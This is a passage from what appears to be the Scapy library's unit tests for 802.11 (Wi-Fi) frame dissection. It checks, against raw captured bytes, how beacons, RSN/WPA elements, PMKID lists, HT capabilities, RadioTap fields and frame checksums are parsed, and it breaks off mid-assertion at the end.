b'\x00\x00\x16\x00\x0f\x00\x00\x00|P\xb1\x82\xae\x86\x05\x00\x00\x02l\t\xa0\x00\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x02\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00:Q\xb1\x82\xae\x86\x05\x00d\x00\x11\x04\x00\x0cWPA3-Network\x01\x08\x82\x84\x8b\x96\x0c\x12\x18$\x03\x01\x01\x05\x04\x00\x02\x00\x00*\x01\x042\x040H`l0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x08\xc0\x00;\x02Q\x00\x7f\x08\x04\x00\x00\x00\x00\x00\x00@' pkt = RadioTap(data) nstats = pkt[Dot11Beacon].network_stats() nstats assert nstats == { 'ssid': 'WPA3-Network', 'rates': [1.0, 2.0, 5.5, 11.0, 6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0], 'channel': 1, 'crypto': {'WPA3/SAE'} } = Dot11EltCountry dissection data = b"\x00\x00&\x00/@\x00\xa0 \x08\x00\xa0 \x08\x00\x00R\xa9[#\x00\x00\x00\x00\x10\x18\x85\t\xc0\x00\xc8\x00\x00\x00\xc3\x00\xc7\x01P\x080\x00V\x9cm\xf4\xb1\xe9\xa0\xcf[\xfb%0\xa0\xcf[\xfb%0\xa0R&\x1a@\xc2\x06\x03\x00\x00f\x00!\x14\x00\x1eDisney Convention Center Guest\x01\x07\x12\x98$0H`l\x03\x01\x06\x07\x06US \x01\x0b\x1e\x0b\x05\n\x00\x8a\x8d[ \x01\x03*\x01\x00-\x1a,\x18\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x006\x03*L\x01=\x16\x06\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00F\x05s\xc0\x00\x00\x00\x7f\x06\x00\x10\x00\x04\x01@\x85\x1e\x10\x00\x8f\x00\x0f\x00\xff\x03Y\x001617-AP33-SorcA\x00\n\x00\x00:\x96\x06\x00@\x96\x00\x0b\x00\xdd\x18\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00'\xa4\x00\x00BC^\x00b2/\x00\xdd\x06\x00@\x96\x01\x01\x04\xdd\x05\x00@\x96\x03\x05\xdd\x05\x00@\x96\x0bI\xdd\x05\x00@\x96\x14\x00dZ\x97\xbf" pkt = RadioTap(data) assert pkt[Dot11EltCountry].info == b'US \x01\x0b\x1e' assert len(pkt[Dot11EltCountry].descriptors) == 1 assert pkt[Dot11EltCountry].descriptors[0].mtp == 30 * Country element: padding check data = hex_bytes('00001a002f48000017cd9f3100000000000c3c144001e000000080000000ffffffffffff461b860bef06461b860bef06909403e0f75b0000000064001105000c4c697665626f782d3232353001088c1218243048606c0301240504020300000728504c202401172801172c01173001173401173801173c011740011764011e68011e6c011e70011e000b05000002ffff46050000000000200100c30502171717002a01002d1aef0117fffffffffeffffffff1f000001000000000018e6e719003d1624050000000000000000000000000000000000000000dd180050f2020101840003a4000027a4000042435e0062322f0030140100000fac040100000fac040100000fac020000bf0cb279c33faaff0000aaff0000c005012a00fcffdd1e002686010300dd00000025040592000601d15b5816830000000000000000dd06002686170000dd0e00268618010101024c1b860bef067f080100080200000040dd3b0050f204104a0001101044000102105700010110470010344331423836f042f546303634433142103c000103103c0001031049000600372a000120') pkt = RadioTap(data) assert pkt[Dot11EltCountry].pad == 0 assert pkt.getlayer(Dot11Elt, ID=11) * Country element: Secondary padding check erp_payload = b'\x2a\x01\x62' country_payload = b'\x07\x06\x55\x53\x20\x01\x0b\x1e' bare_country = Dot11EltCountry(country_payload) country_nested = Dot11EltCountry(country_payload + erp_payload) assert not bare_country.payload assert country_nested.payload assert country_nested.payload.ID == 42 = RSNCipherSuite assert bytes(RSNCipherSuite()) == b'\x00\x0f\xac\x04' rsn = RSNCipherSuite(b'\x00\x0f\xac\x04') assert rsn.oui == 0x0fac assert rsn.cipher == 0x04 = AKMSuite assert bytes(AKMSuite()) == b'\x00\x0f\xac\x01' akm = AKMSuite(b'\x00\x0f\xac\x01') assert akm.oui == 0x0fac assert akm.suite == 0x01 = PMKIDListPacket assert bytes(PMKIDListPacket()) == b'\x00\x00' pmkids = PMKIDListPacket(b'\x01\x00LD\xfe\xf2l\xdcV\xce\x0b7\xab\xc62\x02O\x11') assert pmkids.nb_pmkids == 1 assert len(pmkids.pmkid_list) == 1 assert pmkids.pmkid_list[0] == b'LD\xfe\xf2l\xdcV\xce\x0b7\xab\xc62\x02O\x11' = Dot11EltRSN assert bytes( Dot11EltRSN(group_cipher_suite=RSNCipherSuite(), pairwise_cipher_suites=[RSNCipherSuite()], akm_suites=[AKMSuite()], pmkids=PMKIDListPacket(), group_management_cipher_suite=RSNCipherSuite(cipher=6)) ) == b'0\x1a\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\xc0\x00\x00\x00\x00\x0f\xac\x06' # No pmkids, no group management cipher suite rsn_ie = Dot11EltRSN(b'0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x01\x00') assert rsn_ie.group_cipher_suite.cipher == 0x04 assert rsn_ie.nb_pairwise_cipher_suites == 0x01 assert rsn_ie.pairwise_cipher_suites[0].cipher == 0x04 assert rsn_ie.nb_akm_suites == 0x01 assert rsn_ie.akm_suites[0].suite == 0x01 assert rsn_ie.pre_auth assert Dot11Elt in rsn_ie # pmkids, group management cipher suite pkt = RadioTap(b"\x00\x000\x00/@\x00\xa0 \x08\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x00\x00\x00\x00\x0bpin;%\xedN\x10\x0cl\t\xc0\x00\xce\x00\x00\x00\xb2\x00\xbd\x01\xce\x02\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\xec\x17/\x82\x1e)\xec\x17/\x82\x1e)\x10p\x81a\xa1\x08\x00\x00\x00\x00d\x001\x04\x00\rROUTE-821E295\x01\x01\x8c\x03\x01\x01\x05\x04\x00\x02\x00\x00\x07$IL \x01\x01\x14\x02\x01\x14\x03\x01\x14\x04\x01\x14\x05\x01\x14\x06\x01\x14\x07\x01\x14\x08\x01\x14\t\x01\x14\n\x01\x14\x0b\x01\x14;\x12QQRSTstuvwxyz{}~\x7f\x80*\x01\x000\x1a\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x8c\x00\x00\x00\x00\x0f\xac\x06-\x1a\x8d\x01\x1f\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x01\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x18\x00P\xf2\x02\x01\x01\x81\x00\x03\xa4\x00\x00'\xa4\x00\x00BT^\x00a2/\x00\x7f\x01\x04\xdd\x07\x00\xa0\xc6\x02\x02\x03\x00\xdd\x17\xec\x17/RRRRRRRRRRRRRRRRRRRRR\x9e[\xf2") assert Dot11EltRSN in pkt pkt[Dot11Beacon].network_stats() assert pkt[Dot11Beacon].network_stats() == { 'ssid': 'ROUTE-821E295', 'rates': [6.0], 'channel': 1, 'country': 'IL', 'country_desc_type': None, 'crypto': {'WPA2/PSK'} } assert [x.ID for x in pkt[Dot11Elt].iterpayloads()] == [0, 1, 3, 5, 7, 59, 42, 48, 45, 61, 221, 127, 221, 221] assert pkt.pmkids.nb_pmkids == 0 assert pkt.group_management_cipher_suite.oui == 0xfac assert pkt.group_management_cipher_suite.cipher == 0x6 = Dot11EltMicrosoftWPA assert bytes(Dot11EltMicrosoftWPA()) == b'\xdd\x16\x00P\xf2\x01\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01' ms_wpa_ie = Dot11EltMicrosoftWPA(b'\xdd\x1a\x00P\xf2\x01\x01\x00\x00P\xf2\x02\x02\x00\x00P\xf2\x04\x00P\xf2\x02\x01\x00\x00P\xf2\x01') assert ms_wpa_ie[Dot11EltMicrosoftWPA].type == 0x01 assert ms_wpa_ie[Dot11EltMicrosoftWPA].version == 0x01 assert ms_wpa_ie[Dot11EltMicrosoftWPA].group_cipher_suite.cipher == 0x02 assert ms_wpa_ie[Dot11EltMicrosoftWPA].nb_pairwise_cipher_suites == 0x02 assert ms_wpa_ie[Dot11EltMicrosoftWPA].pairwise_cipher_suites[0].cipher == 0x04 assert ms_wpa_ie[Dot11EltMicrosoftWPA].pairwise_cipher_suites[1].cipher == 0x02 assert ms_wpa_ie[Dot11EltMicrosoftWPA].nb_akm_suites == 0x01 assert ms_wpa_ie[Dot11EltMicrosoftWPA].akm_suites[0].suite == 0x01 assert Dot11Elt in ms_wpa_ie = Dot11EltVendorSpecific assert bytes(Dot11EltVendorSpecific()) == b'\xdd\x03\x00\x00\x00' vendor_specific_ie = Dot11EltVendorSpecific(b'\xdd\t\x00\x03\x7f\x01\x01\x00\x00\xff\x7f') assert vendor_specific_ie.oui == 0x00037f assert Dot11Elt in vendor_specific_ie = Beacon with RSN IE f = Dot11(b"\x80\x00\x00\x00\xff\xff\xff\xff\xff\xffLN5V\xee\x03LN5V\xee\x03\xf0\x8f\x80\x01\xdc7\x00\x00\x00\x00\x90\x011\x04\x00\x0cciscosb-wpa2\x01\x08\x82\x84\x8b\x96\x0c\x12\x18$\x03\x01\x06\x05\x04\x00\x01\x00\x00*\x01\x000\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x01\x002\x040H`l\xdd\x18\x00P\xf2\x02\x01\x01\x84\x00\x03\xa4\x00\x00'\xa4\x00\x00BC^\x00b2/\x00\xdd\x1e\x00\x90L3L\x10\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x1aL\x10\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x1a\x00\x90L4\x06\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x06\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x0e\x14\x00\n\x00,\x01\xc8\x00\x14\x00\x05\x00\x19\x00\x7f\x01\x01\xdd\t\x00\x03\x7f\x01\x01\x00\x00\xff\x7f\xdd\n\x00\x03\x7f\x04\x01\x00\x06\x00@\x00") assert Dot11EltRSN in f assert f[Dot11EltRSN].len == 20 assert f[Dot11EltRSN].group_cipher_suite[0].cipher == 0x04 assert f[Dot11EltRSN].pairwise_cipher_suites[0].cipher == 0x04 assert f[Dot11EltRSN].akm_suites[0].suite == 0x01 = Other Beacon with RSN IE f = Dot11(b'\x00\x00<\x00h}\xb4_\x1a\x0eJe}\xf2@\xb2h}\xb4_\x1a\x0e\xb0\xe8\x11\x11\x14\x00\x00\x08wpa3-sae\x01\x07\x12\x98$\xb0H`l!\x02\xf9\x15$\n$\x044\x04d\x0b\x95\x04\xa5\x010&\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\t\xcc\x00\x01\x00\xed!\xd6\xf6\xc2\x12C\xce\xbd\x94\xb6\xc3\xb1\xea%^F\x051\x08\x01\x00\x006\x03\xac4\x00-\x1ao\x00\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x08\x00\x00\x08\x00\x00\x00\x00@\xbf\x0c2p\x81\x0f\xfa\xff\x00\x00\xfa\xff\x00\x00\xc7\x01\x11\xff\x1c#\x01\x08\x08\x00\x00\x80D0\x02\x00\x1d\x00\x9f\x08\x00\x0c\x00\xfa\xff\xfa\xff9\x1c\xc7q\x1c\x07\xdd\x0b\x00\x17\xf2\n\x00\x01\x04\x00\x00\x00\x00\xdd\x05\x00\x90L\x04\x07\xdd\n\x00\x10\x18\x02\x00\x00\x10\x00\x00\x02\xdd\x07\x00P\xf2\x02\x00\x01\x00\x90\xe7\xf5\x12') assert Dot11EltRSN in f assert f.group_management_cipher_suite is None assert len(list(f.iterpayloads())) == 19 assert Dot11EltHTCapabilities in f assert f.mfp_capable and f.mfp_required assert f.pmkids.nb_pmkids == 1 assert f.pmkids.pmkid_list == [b'\xed!\xd6\xf6\xc2\x12C\xce\xbd\x94\xb6\xc3\xb1\xea%^'] = Beacon with Microsoft WPA IE f = Dot11(b"\x80\x00\x00\x00\xff\xff\xff\xff\xff\xffNN5V\xee\x03NN5V\xee\x030\x8f\x80\x01\xdc7\x00\x00\x00\x00\x90\x011\x04\x00\x0bciscosb-wpa\x01\x08\x82\x84\x8b\x96\x0c\x12\x18$\x03\x01\x06\x05\x04\x00\x01\x00\x00*\x01\x00\xdd\x16\x00P\xf2\x01\x01\x00\x00P\xf2\x04\x01\x00\x00P\xf2\x04\x01\x00\x00P\xf2\x012\x040H`l\xdd\x18\x00P\xf2\x02\x01\x01\x85\x00\x03\xa4\x00\x00'\xa4\x00\x00BC^\x00b2/\x00\xdd\x1e\x00\x90L3L\x10\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x1aL\x10\x1b\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x1a\x00\x90L4\x06\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x06\x08\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x0e\x14\x00\n\x00,\x01\xc8\x00\x14\x00\x05\x00\x19\x00\x7f\x01\x01\xdd\t\x00\x03\x7f\x01\x01\x00\x00\xff\x7f\xdd\n\x00\x03\x7f\x04\x01\x00\x06\x00@\x00") assert Dot11EltMicrosoftWPA in f assert f[Dot11EltMicrosoftWPA].type == 0x01 assert f[Dot11EltMicrosoftWPA].version == 0x01 assert f[Dot11EltMicrosoftWPA].group_cipher_suite.cipher == 0x04 assert f[Dot11EltMicrosoftWPA].nb_pairwise_cipher_suites == 0x01 assert f[Dot11EltMicrosoftWPA].pairwise_cipher_suites[0].cipher == 0x04 assert f[Dot11EltMicrosoftWPA].nb_akm_suites == 0x01 assert f[Dot11EltMicrosoftWPA].akm_suites[0].suite == 0x01 = HT Capabilities f = RadioTap(b"\x00\x00&\x00/@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x9dt\xc3\xf1\x18\x00\x00\x00\x10\x02l\t\xa0\x00\xd9\x00\x00\x00\xd3\x00\xd7\x01@\x00\x00\x00\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xff\xff\xff\xff\xff\xffP'\x00\x00\x01\x04\x02\x04\x0b\x162\x08\x0c\x12\x18$0H`l\x03\x01\x01-\x1a-@\x17\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x08\x00\x00\x08\x04\x00\x00\x00@Y\xb7T\x13") assert Dot11EltHTCapabilities in f assert f.L_SIG_TXOP_Protection == 0 assert f.Forty_Mhz_Intolerant == 1 assert f.PSMP == 0 assert f.DSSS_CCK == 0 assert f.Max_A_MSDU == 0 assert f.Delayed_BlockAck == 0 assert f.Rx_STBC == 0 assert f.Tx_STBC == 0 assert f.Short_GI_40Mhz == 0 assert f.Short_GI_20Mhz == 1 assert f.Green_Field == 0 assert f.SM_Power_Save == 3 assert f.Supported_Channel_Width == 0 assert f.LDPC_Coding_Capability == 1 assert f.res1 == 0 assert f.Min_MPDCU_Start_Spacing == 5 assert f.Max_A_MPDU_Length_Exponent == 3 assert f.TX_Unequal_Modulation == 0 assert f.TX_Max_Spatial_Streams == 0 assert f.TX_RX_MCS_Set_Not_Equal == 0 assert f.TX_MCS_Set_Defined == 0 assert f.RX_Highest_Supported_Data_Rate == 0 assert f.RX_MSC_Bitmask == 255 assert f.RD_Responder == 0 assert f.HTC_HT_Support == 0 assert f.MCS_Feedback == 0 assert f.PCO_Transition_Time == 0 assert f.PCO == 0 assert f.Channel_Estimation_Capability == 0 assert f.CSI_max_n_Rows_Beamformer_Supported == 0 assert f.Compressed_Steering_n_Beamformer_Antennas_Supported == 0 assert f.Noncompressed_Steering_n_Beamformer_Antennas_Supported == 0 assert f.CSI_n_Beamformer_Antennas_Supported == 0 assert f.Minimal_Grouping == 0 assert f.Explicit_Compressed_Beamforming_Feedback == 0 assert f.Explicit_Noncompressed_Beamforming_Feedback == 0 assert f.Explicit_Transmit_Beamforming_CSI_Feedback == 0 assert f.Explicit_Compressed_Steering == 0 assert f.Explicit_Noncompressed_Steering == 0 assert f.Explicit_CSI_Transmit_Beamforming == 0 assert f.Calibration == 0 assert f.Implicit_Trasmit_Beamforming == 0 assert f.Transmit_NDP == 0 assert f.Receive_NDP == 0 assert f.Transmit_Staggered_Sounding == 0 assert f.Receive_Staggered_Sounding == 0 assert f.Implicit_Transmit_Beamforming_Receiving == 0 assert f.ASEL == 0 = HT Capabilities with fuzzed values # Those were checked with Wireshark ! f = RadioTap(b'\x00\x00\t\x00\x02\x00\x00\x00\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x1a\xecH\xbf\x85!\x02\xd0m\x91\xa8\xd9\xf0\xa9\xb8\x15\xae\x00\x00\x00,Y\x86\xb3H\xa7?Z\xd2\xa8\xc2') assert Dot11EltHTCapabilities in f assert f.L_SIG_TXOP_Protection == 0 assert f.Forty_Mhz_Intolerant == 1 assert f.PSMP == 0 assert f.DSSS_CCK == 0 assert f.Max_A_MSDU == 1 assert f.Delayed_BlockAck == 0 assert f.Rx_STBC == 0 assert f.Tx_STBC == 1 assert f.Short_GI_40Mhz == 1 assert f.Short_GI_20Mhz == 1 assert f.Green_Field == 0 assert f.SM_Power_Save == 3 assert f.Supported_Channel_Width == 0 assert f.LDPC_Coding_Capability == 0 assert f.res1 == 5 assert f.Min_MPDCU_Start_Spacing == 7 assert f.Max_A_MPDU_Length_Exponent == 3 assert f.TX_Unequal_Modulation == 0 assert f.TX_Max_Spatial_Streams == 3 assert f.TX_RX_MCS_Set_Not_Equal == 1 assert f.TX_MCS_Set_Defined == 0 assert f.RX_Highest_Supported_Data_Rate == 440 assert f.RX_MSC_Bitmask == 46944200869120244326789 assert f.RD_Responder == 1 assert f.HTC_HT_Support == 0 assert f.MCS_Feedback == 1 assert f.PCO_Transition_Time == 2 assert f.PCO == 0 assert f.Channel_Estimation_Capability == 0 assert f.CSI_max_n_Rows_Beamformer_Supported == 3 assert f.Compressed_Steering_n_Beamformer_Antennas_Supported == 2 assert f.Noncompressed_Steering_n_Beamformer_Antennas_Supported == 2 assert f.CSI_n_Beamformer_Antennas_Supported == 1 assert f.Minimal_Grouping == 0 assert f.Explicit_Compressed_Beamforming_Feedback == 1 assert f.Explicit_Noncompressed_Beamforming_Feedback == 1 assert f.Explicit_Transmit_Beamforming_CSI_Feedback == 2 assert f.Explicit_Compressed_Steering == 0 assert f.Explicit_Noncompressed_Steering == 1 assert f.Explicit_CSI_Transmit_Beamforming == 1 assert f.Calibration == 2 assert f.Implicit_Trasmit_Beamforming == 0 assert f.Transmit_NDP == 0 assert f.Receive_NDP == 0 assert f.Transmit_Staggered_Sounding == 1 assert f.Receive_Staggered_Sounding == 1 assert f.Implicit_Transmit_Beamforming_Receiving == 0 assert f.ASEL.res assert f.ASEL.Transmit_Sounding_PPDUs assert f.ASEL.Receive_ASEL assert f.ASEL.Antenna_Indices_Feedback assert f.ASEL.Explicit_CSI_Feedback assert f.ASEL.Explicit_CSI_Feedback_Based_Transmit_ASEL assert not f.ASEL.Antenna_Selection assert f.ASEL == 63 = RadioTap - MCS weird padding f = RadioTap(b'\x00\x00,\x00K\x08\x1c\x00"b\x96\x03\x00\x00\x00\x00\x10\x00l\t\x80\x04\xb0\x00\x80\x04\x01\x00l\t\x01\x00\x1f\x08\x0c\x00\x94\x05\x00\x00\x04\x00\x00\x00\x88\x020\x00.\xdf\xc4J\xb0\xdc\xa0c\x91sf\xech\x05\xca?\xf4h@Y\x00\x00\xaa\xaa\x03\x00\x00\x00\x08\x00E\x00\x05\xdc \xcf@\x00\x80\x06P\xf0\xc0\xa8\x01\n\xc0\xa8\x01\x02\xdb\x8f\x13\x89\xfbv\xa3\xde\xf6\xd8L\xe8P\x10\xff\xfft\xdd\x00\x0023456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901O\xdc\x01x') assert f.knownMCS == 31 assert f.Ness_LSB == 0 assert f.STBC_streams == 0 assert f.FEC_type == 0 assert f.HT_format == 1 assert f.guard_interval == 0 assert f.MCS_bandwidth == 0 assert f.MCS_index == 0xc assert f.A_MPDU_ref == 1428 = RadioTap MCS f = RadioTap(b"\x00\x00)\x00+@\x08\xa0 \x08\x00\xa0 \x08\x00\x00\xff\xc3$N\x00\x00\x00\x00\x10\x00d\x14@\x01\xc8\x00\x00\x00'\x00\n\xc8\x00\xbd\x01\x88\x02\x00\x00\x01\x00^\x02\x00\n\x04\xf0!K}\xb7\x00\r\xb9L\xfd\xd4 4$\x00\xaa\xaa\x03\x00\x00\x00\x08\x00E\x00\x05\x94\x80\xc7@\x00\x05\x11\x0c\xb4\xac\x10T\xc1\xe2\x02\x00\n\xdeU\x13\x89\x05\x80,m\x00\x00\x07?`G\xc7 \x00\x07\x02u\x00\x00\x00\x00H\x01\x00\x98\x00\x00\x00\x01\x00\x00\x13\x89\x00\x00\x05x\x00\x00\x00\x00\xff") assert f.knownMCS == 0x27 assert f.MCS_index == 10 = RadioTap ts, HE, HE-MU, LSIG f = RadioTap(b'\x00\x00^\x00*@\xd0\xa9 \x08\x00\xa0 \x08\x00\xc0\x01\x00\x00\x00\x10\x00|\x15@\x01\xd4\x00\x00\x00\x00\x00x\x10\x01\x00\x00\x00\x00\x00\xa7\x14\xd0\xf9\x00\x00\x00\x00\x16\x00\x11\x03\xf6\xc7\x7f@"+\x00\x00\x98Q\x01\x00\xd0\xd3W\x04\xc8\xc8\xc8\xc8rrrr\x02\x00`\x0b\xd4\x00\xd3\x01\xf6T%\x01\x02\x00\x14\x00\x00\x00\x88B\x82\x00\xd8\xf8\x835\xd3\x06\xf0/t|\xa3\xb4\xf0/t|\xa3\xb4\x00\n\xc0\x00\xac\x10\x00 \x01\x00\x00\x00\xe8^\x98\xc3\x08<\xce\x85\xf4\xc0\xe0/\xb0[\xaf\xb11\x90\x11\xb5\xa8\xa3\x02\x99-\xa0\xcf\x7fE%\x8a\xa8~[\xbe\xe8\xfc\xe5:\xbdBJ\xf3\x8a5\xb3\xed\x88\xde\xdcF\x02\xed\xddc\x0bLN\x02\xcdR\x06\x9b\x9d)\xc2\xdc\xf1\xcd\xe3Pv\xcauP\x1a\xaf_\x0c\x12<\x8f\x999*\x1c\xf7x\xe4>G"\x8d\x91\xd6\xeb\xe5\xf9\xc3Y\xedf\xffg\xf8*\xda\xe9aYb\x92\x8b\x93\xde\'\xe7_N$\xd2;\xe3\xadj\xd6\xeb\xf1p|[\xfe\xc9m\xc2\xe1\xde\xd2\xff\x9e\xdb_\x8d9\x80\xec\xd2\x113\x0fWB\x86\xfec\xd5\xb9\x9b\x07\xb0\xa6\x06\xa5\x07iQ\x80\xa5\x8f\x13I\x98\xcb\xb2\x13\x92\xb3\x00\xac<\xdf\x95|\x0b\x8b{\x1d\x0f4@\x12\xb1r\xbez\x81\xc2dQ\x13,nN\xa5\xf1\xcd$\xba\x97\xb6^\x0c\x141\xad\xde`\x0e\x04u\xb6b1\xd2\xb6\xb3\xcf\x01\xf4jn\x07A\x84\xab\xc1!p\xef\xdf\xe9IP\x9dm\xc6[\x01\xb84X\xe6F%\xf7wW+\x80\xb1\xc3\x99b\x15\x03\x86p\x94m\xd8D\xf5\xef\x176\xd0\xbdb\x12\x93\x02)\xac\xed\xfe\x8d\xbd\xcbyI\xaa\xa1\xae\x95H\x0eh\xcd\xfd\xe0\xe6\xf2U\x03\xf6E\x1d\xce\x82\xf6\x8e4\x12\x8e+\xc8\xadJ8\r\x10/\xca3\xd2\x88|\xd2\xce\x7f\x15k\x81R\x88U\xc4\xdeT\x1d\xcf\'\xf0\'\xb2\xb6\xb3\x84\x02\xc9L\xee\xf6E\x04\xaeF\xb1#\xeb\x17\xd0\n\x00\x1aH2<\xe0\xb3[\x8d\t\xd6\x89[0&P\x17/\x191\x050\xe4\xc0\n_?\xde\x92\xbdC\xa6\xb1\xc2n\x12\x9f\xb5b\x10\xcc\xc3\xfa\xce\xd7\xe0\xf2\xaa\x84\xa2\xe9\xa8\x81S&\xf9\r;\xcc\x81\xa3\x84v\xff\n\xb9?\xbe!]\xb4E]\xac\xbfQ\x1d)2\xee9\x84\xddjq\xb1q\x87ef\xca\x87\xfe\xf6\xcd\xbck#\xad\x03\xe9>\x91]\xf3@\x02\xb4\x8b\xfe\x84z\x88\x83\xf3\xb18N\xf7x\xde\xd6|\xb2p\n\xe4$h\xd5\x10\x15&\xd6O\xdf\xb3y\'\x80[a\xf6f2\x84\xe4\xa9\xe3a\xd0h\x93%\xa5\xd1\x9fX\x94P\x8b\xbc\xf9J"k\xd0\xaf-\xa2\xbf\x1a\xf65\xa8[y\xba\x0b\xaa\x05J9\x93VVM+\x13+;y\xbdJ!@\xab\r\x93\x93\x8c\xd6\xbb\xc2\'\xa0_N\'6\x05\x96"\xef\xd7\xbd4S\x99\xfaf\x05\xf2\xb7\xb9\xe4\x02\xd4\x1f?\x0e\xe7') assert f.timestamp == 4191163559 assert f.ts_accuracy == 22 assert f.ts_unit == 1 assert f.ts_position == 1 assert f.ts_flags.Accuracy and "32-bit_counter" in f.ts_flags assert f.he_data1 == 51190 assert f.he_data2 == 16511 assert f.he_data3 == 11042 assert f.he_data4 == 0 assert f.he_data5 == 20888 assert f.he_data6 == 1 assert f.hemu_flags1 == 54224 assert f.hemu_flags2 == 1111 assert f.RU_channel1 == [200, 200, 200, 200] assert f.RU_channel2 == [114, 114, 114, 114] assert f.lsig_data1.length assert f.lsig_length == 182 assert f.lsig_rate == 0 assert f == eval(f.command()) = Reassociation request f = Dot11(b' \x00:\x01@\xe3\xd6\x7f*\x00\x00\x10\x18\xa9l.@\xe3\xd6\x7f*\x00 \t1\x04\n\x00@\xe3\xd6\x7f*\x00\x00\x064.2.12\x01\x08\x82\x84\x0b\x16$0Hl!\x02\x08\x1a$\x02\x01\x0b0&\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00\x01\x00LD\xfe\xf2l\xdcV\xce\x0b7\xab\xc62\x02O\x112\x04\x0c\x12\x18`\x7f\x08\x01\x00\x00\x00\x00\x00\x00@\xdd\t\x00\x10\x18\x02\x00\x00\x10\x00\x00') assert Dot11EltRSN in f assert f[Dot11EltRSN].pmkids.nb_pmkids == 1 assert len(f[Dot11EltRSN].pmkids.pmkid_list) == 1 assert f[Dot11EltRSN].pmkids.pmkid_list[0] == b'LD\xfe\xf2l\xdcV\xce\x0b7\xab\xc62\x02O\x11' = Backward compatibility of Dot11Elt # Old naming scheme assert Dot11Elt(ID="DSset").sprintf("%ID%") == 'DSSS Set' assert Dot11Elt(ID="RSNinfo").sprintf("%ID%") == 'RSN' = Dot11FCS parent matching pkt = Ether()/IP()/Dot11FCS() assert pkt[Dot11] = Dot11FCS - test FCS with FCSField data = b'\x00\x00 \x00\xae@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x10\x02\x85\t\xa0\x00\xe2\x00d\x00\x00\x00\x00\x00\x00\x01\xa0@:\x01\x00\xc0\xca\xa4}PLfA\xac\xe4\xb3\x00\xc0\xca\xa4}P\x00\x03\x00 \x08 \x00\x00\x00\x00\x0f)\x1d\xd4\xd49\x1f>4\xeb' pkt = RadioTap(data) w_payload = hex_bytes('00002000ae4000a0200800a02008000010028509a000e2006400000000000001a0403a0100c0caa47d504c6641ace4b300c0caa47d50000300200820000000000f291dd4d4391f3e34eb') assert raw(pkt) == w_payload = Dot11FCS computation pkt = RadioTap() / Dot11FCS() / Dot11Beacon() assert raw(pkt) == 